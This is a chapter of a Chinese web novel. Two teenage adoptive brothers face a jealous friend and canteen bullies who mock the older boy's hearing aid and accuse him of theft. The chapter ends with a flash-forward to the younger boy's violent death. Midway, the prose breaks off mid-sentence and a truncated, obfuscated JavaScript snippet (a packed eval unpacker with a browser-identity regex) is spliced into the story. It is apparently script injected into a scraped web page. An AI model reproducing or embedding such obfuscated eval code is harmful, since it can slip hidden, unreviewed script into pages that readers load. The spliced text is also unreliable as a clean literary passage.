他甚至觉得李震云有点烦了,还躲着李震云走,这几天上体育课都不肯和李震云一起结伴组队,而是找了别的同学;而且这段时间,就算放学后李震云约他出去玩,他也不答应,说要和路觉铭一起玩,把李震云气个半死,狠狠在健身房每日猛练。 但简知也有自己的烦心事。 由于简知上学时间要比路觉铭晚,放学又早,所以简氏夫妇给他们安排了不同的车接送,而最近路觉铭每天五点多才回家,一回家就写作业看书,每天只有一个小时的时间,能陪简知在花园湖畔散散步或者打打游戏。 简知本以为路觉铭会和自己在同一个班级,因此才天天盼望路觉铭去上学。可他没想到爸爸妈妈会让路觉铭去读普高部,这样一来,他和路觉铭每日相处的时间,反而还变少了。 在学校里不能见到路觉铭,让简知非常烦恼,以至于他又动歪脑筋,把自己的备用领带塞给路觉铭,让他第二天中午来国际部的食堂和他一起吃饭。 路觉铭自然不会拒绝他。简知想让他做什么,他都会乐意去做,更何况只是这样的小事。 次日午休时间段,路觉铭便换上简知的领带,去了国际部食堂。 但那天也李震云也正好实在被简知气得受不了,下课后拉着简知去天台,要找简知问清楚,为什么不和他一起玩。 李震云个头比简知高,头发理得只剩毛茬,又染了时髦的橘红色,看上去像只大橙子。他双手插进校服口袋,满脸愤懑,眉峰上甚至还因为这几日肝火郁结长出一颗粉色的青春痘。 “你为什么都不和我说话了?简知,你什么意思啊?”李震云开门见山。 简知低头用鞋尖拨弄地面,只给李震云看自己的发顶,说道:“没什么意思啊……” 李震云冷笑一声,用手指去顶简知的额头:“把头抬起来看我。” 简知无奈,只能抬眼看他,然后扁了扁嘴巴,说:“你总是说我哥哥坏话,我不想听。” 李震云更生气了,大声道:“你还真把他当你哥啊?他是□□你不知道吗?你别忘了我们之前看见他的时候他在干什么——” “以前是以前,”简知努力辩驳道,“现在是现在。他以后不会和坏人在一起了。而且、而且你凭什么说别人是□□呀……” “我当然知道了,我爸跟我说的,”李震云朝他瞪了一眼,“他说那个姓杨的放高利贷的就是□□混混,偷鸡摸狗什么事情都干!我看,我就是要去找叔叔阿姨,跟他们揭发这个人!他就不是好人!” “你要是跟我爸爸妈妈说,那我就跟你绝交!”简知紧握双拳,也很生气,为了维护路觉铭,不惜要和李震云翻脸,“我不想和你说话了,我走了。” 一看简知这幅决绝的姿态,李震云几乎气红眼睛。他猛地拉住简知手腕,靠上前去,咬牙切齿地说:“我们认识多久?你又和他认识多久?简知,你要为了他和我绝交?” 他声音又低又哑,看起来真有几分被气到要发疯的样子,简知觉得他看起来很可怕,有些被吓到,却仍然鼓起勇气,梗着脖子道:“总之,你、你不能去找我爸爸妈妈告状……” 他并不知道其实简氏夫妇早就调查过路觉铭这十几年来经历的一切,只以为路觉铭在父母心目中是个干干净净的好孩子,而要是父母知道路觉铭以前的事迹,就会把他赶出家门,所以怎么都不想让李震云泄露这个“秘密”。 “那你就得和我一起玩,你得听我的话,”李震云将手放到简知肩膀处,低下头,鼻尖几乎要碰到简知白皙柔嫩的耳廓,滚烫呼吸喷洒在简知脖颈,“你真想把我气死啊你。” 他语气无奈又委屈,近乎乞求一般,反而让简知没办法再去和他斗嘴。他心里乱成一团,但最担心的还是李震云要去告状,因此只能嘴上答应对方,说:“好了好了,我知道了,我不躲着你了,但是你也不能说我哥的坏话。” 李震云不甘心地磨了下牙,终于还是妥协,“行,我不说他了,但你记住,以后还是得和以前一样听我的。” 简知心不甘情不愿地“哦”了声,被李震云拿捏死了。 李震云又道:“那好吧,你现在和我一起去吃饭。” 简知:“不要。” 李震云:“为什么不要?你没胃口吗?” 简知不想和他说路觉铭的事,别过脸,推脱道:“我现在不饿,你去吃饭吧,我等会儿再吃。” “我都听到你肚子在叫,还不饿?”李震云又瞪了他一眼,“要不然我请你去学校外面吃?吃哪家?皓海轩怎么样?” “我不吃……”简知想不到理由搪塞他了,只能飞快往楼下跑,李震云干脆跟在他身后,又奇怪又生气,问:“你到底怎么了?” 简知却在往手机上发信息,让路觉铭再等他几分钟。 可路觉铭没回他。 简知还以为是路觉铭没等到他生气了,赶忙跑去食堂,可一进食堂,却发现餐厅里分外热闹,围满了人。 他不明所以,赶忙挤进去看,同学都让着他,一见是他,都努力给他空出一个身位,好让他顺利抵达人群的中心,前排最佳观赏位置。 原来他们都在看一场好戏。 路觉铭系着简知的领带进入食堂没多久,就被眼尖的学生发现了他耳后的助听器。那时路觉铭已独自在食堂边上的用餐桌边坐下,等简知过来和他碰头。 国际部的学生本就不多,彼此的情况同窗间都很清楚,可从来没听说过他们部还有人戴着助听器。起初是几个人窃窃私语,相互确认着消息,最后很多人都得出结论,这就是那个普高部新来的残疾人插班生。 这个发现立刻点燃了他们的兴趣。怎么会有普高部的人来他们食堂?他脖子上的领带又是哪来的?国际部的人本来就看普高部学生不爽,再加上路觉铭怎么看都只是个新来的生面孔,干脆就都围过去,故意想给他一点颜色看看。 几个高三的学生不怀好意地站到路觉铭前边,扬了扬下巴问他:“喂,你不是我们部的,你哪来的领带?” 又有人发出一声讥笑,说:“你问他,他回答的了吗?不是说他是个哑巴?这不会是他偷来的领带吧?喂,你们谁的领带被偷了啊——” 几人哄笑起来,食堂其他学生也被这动静吸引注意力,越来越多的人往这边凑。 路觉铭沉默地坐着,连目光都未曾看向他们,腰背挺直,神情平静淡漠,似乎没有听见他们说话。可他的淡漠,在他人看来,却成了一种不动声色的轻蔑。 那几名高三生愈发起劲。有人干脆把手里端着的餐盘往桌子上一扔,盛满无糖可乐的杯子倾倒,桌面上泼开一大片棕褐色气泡水,甚至还溅到路觉铭身上。 “喂,哑巴,问你话呢,”为首的一个学生被路觉铭的态度激怒,抱起双臂,眯了眯双眼,“装什么啊?哪儿偷来的领带?别告诉我是垃圾桶里翻出来的啊?” 路觉铭听到这句,才抬起头,无声无息地看了对方一眼。 他其实不知道为什么很多人将翻垃圾桶视作一种羞辱人的说辞,他从小就是靠着捡垃圾长大,堂堂正正用自己的双手喂饱自己,他并不觉得这是一种耻辱。 他的一丝不解,换来的却是对方的突然暴怒。因为他的眼神太平静了,反而衬得对方言辞虚弱无力,更像是某种反击。 那人开始用手指朝路觉铭指指点点,推搡着路觉铭的肩头,恶狠狠道:“怎么不回答啊?真是哪里偷来的啊?真不要脸!你们这些人,没钱就算了,还要偷我们的领带,混进我们的食堂蹭吃蹭喝,你这死哑巴要不要脸啊?!” 路觉铭一把抓住对方的手腕,目光冷冷扫过对方面庞。 他慢慢将这一圈人都看遍。 这一张张稚嫩的、毫未受过任何摧残的脸,都带有被精心保护着的痕迹,他们又哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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简知气得都要哭了。他在对方面前站定,抬起脸,眉毛一拧,上下眼睑张开,水润的两只眼睛瞪视对方,然后出声道:“你不许说我哥是哑巴!” 路觉铭触电般抬头,看向泫然欲泣的简知。 简知眼角发红,已让路觉铭心如绞痛,他急忙起身,想要安抚简知,却被简知侧身躲开。 简知对那人道:“你怎么能欺负人?你怎么能随随便便污蔑别人偷东西?你知不知道、你知不知道……” 简知双唇嗫嚅,已满眼含泪,他同样想起了含冤去世的路珍妹,心里又是难受,又是愤怒,又是充满歉疚,让他声音都在发抖。 可怜这个自幼被娇宠养育着长大、教养温驯到连骂人都不会的简知,气到这种程度,仍然只会说:“你们太过分了……怎么能污蔑别人……我要去告诉老师,这领带明明是、是我给他的……” 他用手背擦拭不停掉落的眼泪,泪眼朦胧中伸手去抓路觉铭的手,立刻被路觉铭一下紧紧反握,那手掌宽大、温暖、干燥,让简知情绪更加翻涌,心里替路觉铭酸楚和委屈到极点,明明是这么好的路觉铭,怎么总有人要说他不好? 路觉铭笨拙地想帮简知擦眼泪,却被李震云挡住。 李震云黑着脸,道:“简知,给。” 他给简知递去纸巾,简知不接,抬起面庞看向路觉铭,睫毛都被泪水打湿并称尖尖的一簇簇,像自然界中受到伤害的某种小小生灵,惹人可怜至极。 他鼻尖、下巴、双颊、耳廓都泛起哭泣的粉红,颤抖着唇瓣说:“哥哥,我们走。” 路觉铭无声无息,双目黑如深潭,心中似烈火在烧。 他缓缓推开李震云僵硬的手,然后一手捧住简知面庞,用拇指替他擦去眼泪,一手紧握简知手指,干涩的嗓音自他喉中发出:“……好。” 他与简知十指相扣,带着简知穿过人群。 这两个十七岁的少年,一高一低,一前一后,外形、个性、经历都有着天壤之别,可他们紧扣的十指,却叫他们似世界上最密不可分的两个孪生兄弟,叫他们的骨与肉,都严丝合缝地融在十指。 任是谁,都无法再在他们中间插足了。 他们穿过屏息注视着他们的人群,连李震云都僵在原地,没有追上去,只留给所有人他们的背影。 简知不想回到教室,更不想看到他那群同学。 路觉铭便带着他离开了学校。他们旷了一下午的课,坐巴士、坐地铁,一路坐到洛溪市临近的海岸边,路觉铭背着简知,沿着海岸线公路一路走,直至傍晚。 他们朝着风中落日的方向,在他们十七岁的人生里紧紧相依。 简知将脸颊贴到路觉铭颈侧,下巴搭在路觉铭肩膀上,吸了吸鼻子,说:“对不起,哥哥。” 路觉铭不知道简知有什么对他道歉的必要,因此开口道:“……不用。” 简知小声说:“要不是我,你也不会被他们欺负。” 路觉铭摇了摇头,正好让简知柔软的发丝,扫过他的耳畔。那柔柔的触觉似蛛网般缠绵,又像幻觉般倏忽而逝。 落日余晖橘黄灿烂,海风中传来浪潮的簌簌轻鸣。 “所有人都说你不好,”简知细声细气地说,“可你明明最好。” 路觉铭心中一震,血液流动的声音都清晰地在耳膜上弹动。 简知道:“他们都看不起你,嫌弃你穷,我哪里不懂?哥,你不要怕,我一定会保护你的。” 路觉铭几乎无法言语。 他的心已融化得到处都是,脑子轰然作响,连托住简知大腿的双手都无所适从。胸口又热又烫,仿佛有什么暖洋洋发光的一团,被人置入他的胸膛。等他低头仔细一看,才发现那是一颗璀璨的钻石,宛如太阳般明亮。 不远处,一群海鸥略过海面,发出鸣叫。 十七岁的简知,说要永远保护他。 可十七岁的诺言如此轻柔易碎,像水晶玻璃球般纯美净澈,又脆弱不堪。 后来的路觉铭捧着二十八岁的简知四分五裂、血肉模糊的身体,茫然地想,你不是说过,要永远保护我的吗? 怎么自己亲口许下的承诺,偏偏轻易抹消。